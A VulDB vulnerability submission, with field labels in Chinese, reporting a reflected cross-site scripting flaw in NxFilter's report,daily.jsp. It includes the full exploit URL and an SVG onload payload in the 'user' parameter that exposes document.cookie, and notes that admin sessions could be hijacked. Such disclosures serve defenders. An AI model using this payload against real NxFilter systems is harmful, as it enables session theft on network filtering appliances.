| 标题 | Reflected XSS in NXFILTER |
|---|
| 描述 | A reflected xss in NXFILTER was found in https://IP_ADDRESS/report,daily.jsp?stime=2023%2F07%2F12&timeOption=yesterday&user=aaaaa%22%3E%3Csvg%20onload=alert(document.cookie)%20%3C/svg%3E
Payload: "><svg onload=alert(document.cookie) >
Nxfilter version: x.x.x.x
This can hijack admin sessions and cause terrible damage, as nxfilter works as an internet traffic controller.
Vulnerable page: https://IP_ADDRESS/report,daily.jsp |
|---|
| 来源 | ⚠️ https://www.warp2search.net/story/nxfilter-4325/ |
|---|
| 用户 | 0xgordo (UID 50709) |
|---|
| 提交 | 2023-07-13 14時57分 (3 年前) |
|---|
| 管理 | 2023-07-22 08時23分 (9 days later) |
|---|
| 状态 | 已接受 |
|---|
| VulDB条目 | 235191 [NxFilter 4.3.2.5 user 跨网站脚本] |
|---|
| 积分 | 20 |
|---|